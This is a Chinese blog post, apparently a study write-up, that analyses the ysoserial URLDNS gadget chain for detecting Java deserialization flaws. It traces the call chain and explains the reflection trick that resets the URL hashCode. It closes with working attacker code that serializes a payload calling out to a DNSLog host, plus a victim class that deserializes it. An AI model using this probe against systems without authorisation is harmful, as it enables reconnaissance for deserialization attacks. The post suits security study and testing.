0x00 前言
11月还有80分钟就要过去了,这个月因为各种报告还有考试,导致很没有干劲,没有干劲就不想学习,不想学习就想打游戏,所以整个11月都在写报告、准备考试、玩游戏中虚度了,耽误了很多事情……
所以计划有变,每天分析一个ysoserial链的分析吧😋(说是每天,谁知道是不是每个月呢,到时候🥱。本篇包含以下元素:
- URLDNS-Gadget的分析
- URLDNS-Gadget的利用
0x01 简介
URLDNS这条链,并不能用来执行其他命令来RCE,只能用来发送一次DNS请求到我们指定的网站上,然后我们就能查看是否有请求记录而来判断是否存在Java的反序列化漏洞。简短的来说:URLDNS只能用来探测和验证是否存在漏洞。看似没什么用,但其实在渗透测试的实战中,这种用DNS请求来探测和验证漏洞的点到为止的思想还是挺常用的。而且这个Gadget还不需要任何其他的依赖,原生Java就能够成功调用成功。
0x02 分析
环境搭建
如上文所说的,此Gadget不需要其他依赖,所以我们可以随便新建一个Java项目。同时,为了方便我们分析,我们还可以从Github上下载ysoserial的源码,然后找到ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java,里面的注释可以帮助我们更好的理解。部分Payload的构造如下:
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
调用顺序
从注释中我们可以得到如下的Gadget调用顺序:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
初始触发点是HashMap的readObject函数,根据我们之前对Java反序列化的学习:点击查看详情,这是显然和必须的,要实现反序列化的利用,Gadget就必须重写了Java的readObject,所以下一步我们就跟进HashMap的readObject函数。
HashMap#readObject
省略一大堆不重要的代码,直接定位到下一个调用点的代码如下:
private void readObject(java.io.ObjectInputStream s){
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
//throw xxx
else if (mappings > 0) {
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
会先判断Map的大小,如果大于则进入一个for循环,在这个循环中,会遍历并反序列化Map的key和value,然后调用putVal函数,其中key值又传入了hash函数。
HashMap#hash
跟进HashMap中的hash函数,代码如下:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
判断key值是否为空,如果不为空,则又会对key进行一个hashCode函数的处理。由上文中的部分Payload可知,这里的Key是URL类,所以我们下一步跟进URL类的hashCode函数。
URL#hashCode
其代码如下:
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
hashCode默认值就是-1,所以会接着调用handler.hashCode(this),这里就是调用顺序中的最后一步了,但是看起来好像并没有什么,为了搞懂这行代码干了什么,我们可以先做个小实验。
hashCode的探究
首先我们用谷歌找到一个在线的DNSLOG平台:DNSLOG Platform (xn–9tr.com),然后编写如下代码,进行调试:
public class Demo1 {
public static void main(String[] args){
try {
URL url = new URL("http://xxxx.xxx"); //Ur DNSLOG paltform
url.hashCode();//debug here
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
跟进刚刚的hashCode调试,发现会跳转到URLStreamHandler类中的hashCode函数。
URLStreamHandler#hashCode
其部分代码如下:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
//省略
}
在调用到URLStreamHandler#getHostAddress时,会进行DNS请求(暴露了我博客拖更的事实,每天玩游戏🤣):
至此,我们便搞明白了URL#hashCode 实际上是会最后调用到getHostAddress,从而发出DNS请求。到这里,这个Gadget的分析好像到此结束了,但是在ysoserial提供的payload中还有其他的一些细节,所以下面我们再来分析一下这些细节。
细节1
首先是在初始化URL类时,并没有像我们实验的那样子,直接 new URL("Your DNSLOG PALTFORM");
,而是还额外提供了一个handler,代码如下:
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
这个handler即是我们URL#hashCode中hashCode = handler.hashCode(this)
的handler,即使没有提供时,也会通过一系列代码给他赋值,通过我们上文的小实验可知,是一个URLStreamHandler对象。但这里声明的对象类型也同样是URLStreamHandler,所以这样额外给他赋值的意义在哪里呢?
我们可以注意到,Payload中使用的是new一个SilentURLStreamHandler类,并且在注释上写到“Avoid DNS resolution during payload creation”,所以这行代码的意义就是“避免在生成Payload的时候进行DNS解析”。
(黑人问号脸.JPG)
Payload在生成的时候生成也会进行DNS解析吗????是的。我们在生成Payload时,最后会调用HashMap#put函数,把其放入HashMap中,而其代码如下:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
可以看到和readobject处一致,所以此处也同样的会进行一次DNS解析。虽然影响不大,我们可以看解析时间来判断是否是由Payload发起,但是为了把干扰降到最低,我们还是有必要解决一下这个问题的。ysoserial是怎么做的呢?如上文所说的那样,他指定了handler值而不是不由Java自动生成,并且是new了一个SilentURLStreamHandler类。这个类是他自己编写的URLStreamHandler子类,其代码如下:
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
重写了URLStreamHandler#getHostAddress和URLStreamHandler#openConnection。重写getHostAddress的原因,显然是使其在put时,不会成功的引起DNS解析,因为子类重写的方法会覆盖父类对应方法,也就是说,在最后调用getHostAddress时,只会return null;而重写openConnection原因则更为简单,因为URLStreamHandler是一个抽象类,所以必须重写其所有的抽象方法,这里的openConnection便是其中的抽象类。
通过这种重写父类方法的方式虽然解决了put时会发出请求的问题,但是我们仔细一想,这样的一个handler值会不会影响我们反序列化时的调用,导致最后一次也没有成功调用呢?实际是不会的。因为我们可以在URL类的代码中看到:
transient URLStreamHandler handler;
handler使用了 transient来修饰,而用transient关键字标记的成员变量不参与序列化过程,也就是说,即使我们在构造URL类时指定了handler,也不会参与到序列化过程,最后反序列时,还是由Java自己构造。在注释中,作者也写到了,“Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.”
细节2
这样就可以成功只在最后触发了吗?如果你仔细看看尚未给出的URL#hashCode中的代码的话,又会发现新的问题:
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
没错,这里的hashCode是URL类中成员变量,意味着一旦经过了重新赋值则值永远改变。当我们在调用put时,因为hashCode的默认值是-1,所以会调用handler.hashCode,这时虽然我们重写了getHostAddress,使其不能成功进行DNS请求,但是最后URLStreamHandler#hashCode返回的值也不再是-1,这就表示,在下次反序列化的时候,是不能够成功执行到handler.hashCode而是直接return hashCode。
如果hashCode是public,我们似乎可以直接重置,但是这里是private,那么ysoserial是怎么解决这个问题的呢?其代码如下:
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
这个Reflections类并不是Java自带的,而是其自己编写的类,通过他的setFieldValue方法,将put后的hashCode重新设置为了-1。但其是具体是如何实现的呢,似乎很值得我们学习一下。在ysoserial-master\src\main\java\ysoserial\payloads\util\Reflections.java中我们能够看到源码,如下:
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);//自己封装的setAccessible
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
看起来很多,其实简单概括起来就是通过反射调用中的getDeclaredField(这个方法可获取所有变量,即使是private)获取到该变量,然后用setAccessible函数让开private变量访问权限,让其值可被修改,这里使用的是set反射修改。这里的setAccessible是自己封装的函数,会根据Java的版本,来使用Permit还是直接setAccessible(true)。
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
概括起来,其实修改一个private变量的值可在类外修改只需要三句话(三句话让private的值可被改变,我是精通….🤣):
Class clz = User.class;
Field field2 = clz.getDeclaredField("VariableName");
field2.setAccessible(true);
自我实现
分析完毕后,我们尝试自己实现一下哎,并模拟序列化分反序列化的过程。攻击端如下:
public class URLDNS {
public static void main(String[] args) throws Exception{
//create the handler
String dnsPaltform = "http://005ab237.dns.1433.eu.org."; //the DNS paltform u used
URLStreamHandler handler = new myHandler();
//create the URL
URL url = new URL(null, dnsPaltform, handler);
//put into HashMap
HashMap hashMap = new HashMap();
hashMap.put(url, "foobar");
//reset the hashCode to "-1"
Class clz = URL.class;
Field field = clz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);
//serializztion
FileOutputStream file = new FileOutputStream("chenlvtang.bin");
ObjectOutputStream ser = new ObjectOutputStream(file);
ser.writeObject(hashMap);
ser.close();
}
static class myHandler extends URLStreamHandler{
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
}
}
被攻击端:
public class Server {
public static void main(String[] args) throws Exception{
//deSerialization
FileInputStream file1 = new FileInputStream("chenlvtang.bin");
ObjectInputStream unser = new ObjectInputStream(file1);
unser.readObject();
unser.close();
}
}
最后成功在DNSLog平台接收到请求: